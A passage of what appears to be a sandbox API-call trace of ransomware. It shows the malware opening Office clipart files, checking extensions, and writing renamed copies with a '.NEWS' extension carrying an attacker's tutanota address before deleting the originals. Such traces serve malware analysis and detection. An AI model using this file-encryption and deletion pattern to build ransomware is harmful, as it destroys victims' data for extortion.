SetEndOfFile (hFile=0x3a0) returned 1 [0270.125] CloseHandle (hObject=0x3a0) returned 1 [0270.125] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.125] SetEndOfFile (hFile=0x384) returned 1 [0270.133] CloseHandle (hObject=0x384) returned 1 [0270.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0270.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.226] lstrlenW (lpString=".doc") returned 4 [0270.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.226] lstrlenW (lpString=".docx") returned 5 [0270.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.227] lstrlenW (lpString=".pdf") returned 4 [0270.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.227] lstrlenW (lpString=".xls") returned 4 [0270.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.227] lstrlenW (lpString=".xlsx") returned 5 [0270.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.227] lstrlenW (lpString=".ppt") returned 4 [0270.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.227] lstrlenW (lpString=".zip") returned 4 [0270.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.227] lstrlenW (lpString=".rar") returned 4 [0270.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.228] lstrlenW (lpString=".bz2") returned 4 [0270.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.228] lstrlenW (lpString=".7z") returned 3 [0270.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.228] lstrlenW (lpString=".dbf") returned 4 [0270.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.228] lstrlenW (lpString=".1cd") returned 4 [0270.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.228] lstrlenW (lpString=".jpg") returned 4 [0270.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.229] lstrlenW (lpString=".doc") returned 4 [0270.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.229] lstrlenW (lpString=".docx") returned 5 [0270.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.229] lstrlenW (lpString=".pdf") returned 4 [0270.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.229] lstrlenW (lpString=".xls") returned 4 [0270.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.230] lstrlenW (lpString=".xlsx") returned 5 [0270.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.230] lstrlenW (lpString=".ppt") returned 4 [0270.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.230] lstrlenW (lpString=".zip") returned 4 [0270.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.230] lstrlenW (lpString=".rar") returned 4 [0270.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.230] lstrlenW (lpString=".bz2") returned 4 [0270.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.231] lstrlenW (lpString=".7z") returned 3 [0270.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.231] lstrlenW (lpString=".dbf") returned 4 [0270.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.231] lstrlenW (lpString=".1cd") returned 4 [0270.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0270.232] lstrlenW (lpString=".jpg") returned 4 [0270.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.233] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.233] lstrlenW (lpString="BS00076_.WMF") returned 12 [0270.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0270.234] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=1330) returned 1 [0270.234] CloseHandle (hObject=0x3bc) returned 1 [0270.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0270.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0270.235] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.235] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.236] GetLastError () returned 0x0 [0270.236] ReadFile (in: hFile=0x3bc, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x532, lpOverlapped=0x0) returned 1 [0270.527] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x540, lpOverlapped=0x0) returned 1 [0270.532] ReadFile (in: hFile=0x3bc, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0270.532] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.532] SetEndOfFile (hFile=0x3b4) returned 1 [0270.533] CloseHandle (hObject=0x3b4) returned 1 [0270.533] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.533] SetEndOfFile (hFile=0x3bc) returned 1 [0270.550] CloseHandle (hObject=0x3bc) returned 1 [0270.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0270.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.555] lstrlenW (lpString=".doc") returned 4 [0270.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.556] lstrlenW (lpString=".docx") returned 5 [0270.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.556] lstrlenW (lpString=".pdf") returned 4 [0270.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.556] lstrlenW (lpString=".xls") returned 4 [0270.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.556] lstrlenW (lpString=".xlsx") returned 5 [0270.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.556] lstrlenW (lpString=".ppt") returned 4 [0270.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.556] lstrlenW (lpString=".zip") returned 4 [0270.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.557] lstrlenW (lpString=".rar") returned 4 [0270.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.557] lstrlenW (lpString=".bz2") returned 4 [0270.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.557] lstrlenW (lpString=".7z") returned 3 [0270.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.557] lstrlenW (lpString=".dbf") returned 4 [0270.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.557] lstrlenW (lpString=".1cd") returned 4 [0270.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.557] lstrlenW (lpString=".jpg") returned 4 [0270.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.558] lstrlenW (lpString=".doc") returned 4 [0270.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.558] lstrlenW (lpString=".docx") returned 5 [0270.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.558] lstrlenW (lpString=".pdf") returned 4 [0270.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.558] lstrlenW (lpString=".xls") returned 4 [0270.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.559] lstrlenW (lpString=".xlsx") returned 5 [0270.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.560] lstrlenW (lpString=".ppt") returned 4 [0270.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.560] lstrlenW (lpString=".zip") returned 4 [0270.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.560] lstrlenW (lpString=".rar") returned 4 [0270.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString=".bz2") returned 4 [0270.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString=".7z") returned 3 [0270.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.561] lstrlenW (lpString=".dbf") returned 4 [0270.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.561] lstrlenW (lpString=".1cd") returned 4 [0270.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0270.561] lstrlenW (lpString=".jpg") returned 4 [0270.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.562] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.562] lstrlenW (lpString="BS00100_.WMF") returned 12 [0270.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0270.563] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2378) returned 1 [0270.563] CloseHandle (hObject=0x3bc) returned 1 [0270.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0270.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0270.565] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.565] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.566] GetLastError () returned 0x0 [0270.566] ReadFile (in: hFile=0x3bc, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x94a, lpOverlapped=0x0) returned 1 [0270.889] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x950, lpOverlapped=0x0) returned 1 [0270.892] ReadFile (in: hFile=0x3bc, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0270.892] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.893] SetEndOfFile (hFile=0x3b4) returned 1 [0270.893] CloseHandle (hObject=0x3b4) returned 1 [0270.893] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.893] SetEndOfFile (hFile=0x3bc) returned 1 [0270.901] CloseHandle (hObject=0x3bc) returned 1 [0270.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0271.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.227] lstrlenW (lpString=".doc") returned 4 [0271.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.227] lstrlenW (lpString=".docx") returned 5 [0271.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.227] lstrlenW (lpString=".pdf") returned 4 [0271.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.227] lstrlenW (lpString=".xls") returned 4 [0271.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.227] lstrlenW (lpString=".xlsx") returned 5 [0271.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.228] lstrlenW (lpString=".ppt") returned 4 [0271.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.228] lstrlenW (lpString=".zip") returned 4 [0271.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.228] lstrlenW (lpString=".rar") returned 4 [0271.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.228] lstrlenW (lpString=".bz2") returned 4 [0271.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.228] lstrlenW (lpString=".7z") returned 3 [0271.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.229] lstrlenW (lpString=".dbf") returned 4 [0271.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.229] lstrlenW (lpString=".1cd") returned 4 [0271.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.229] lstrlenW (lpString=".jpg") returned 4 [0271.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.229] lstrlenW (lpString=".doc") returned 4 [0271.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.230] lstrlenW (lpString=".docx") returned 5 [0271.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.230] lstrlenW (lpString=".pdf") returned 4 [0271.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.231] lstrlenW (lpString=".xls") returned 4 [0271.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.231] lstrlenW (lpString=".xlsx") returned 5 [0271.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.231] lstrlenW (lpString=".ppt") returned 4 [0271.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.231] lstrlenW (lpString=".zip") returned 4 [0271.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.231] lstrlenW (lpString=".rar") returned 4 [0271.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.231] lstrlenW (lpString=".bz2") returned 4 [0271.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.232] lstrlenW (lpString=".7z") returned 3 [0271.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.232] lstrlenW (lpString=".dbf") returned 4 [0271.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.232] lstrlenW (lpString=".1cd") returned 4 [0271.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0271.233] lstrlenW (lpString=".jpg") returned 4 [0271.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.233] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0271.233] lstrlenW (lpString="BS00200_.WMF") returned 12 [0271.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.312] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3104) returned 1 [0271.312] CloseHandle (hObject=0x3cc) returned 1 [0271.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0271.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0271.338] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.339] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0271.343] GetLastError () returned 0x0 [0271.343] ReadFile (in: hFile=0x39c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0xc20, lpOverlapped=0x0) returned 1 [0271.348] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xc30, lpOverlapped=0x0) returned 1 [0271.351] ReadFile (in: hFile=0x39c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0271.351] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.351] SetEndOfFile (hFile=0x1cc) returned 1 [0271.352] CloseHandle (hObject=0x1cc) returned 1 [0271.352] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.352] SetEndOfFile (hFile=0x39c) returned 1 [0271.361] CloseHandle (hObject=0x39c) returned 1 [0271.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program 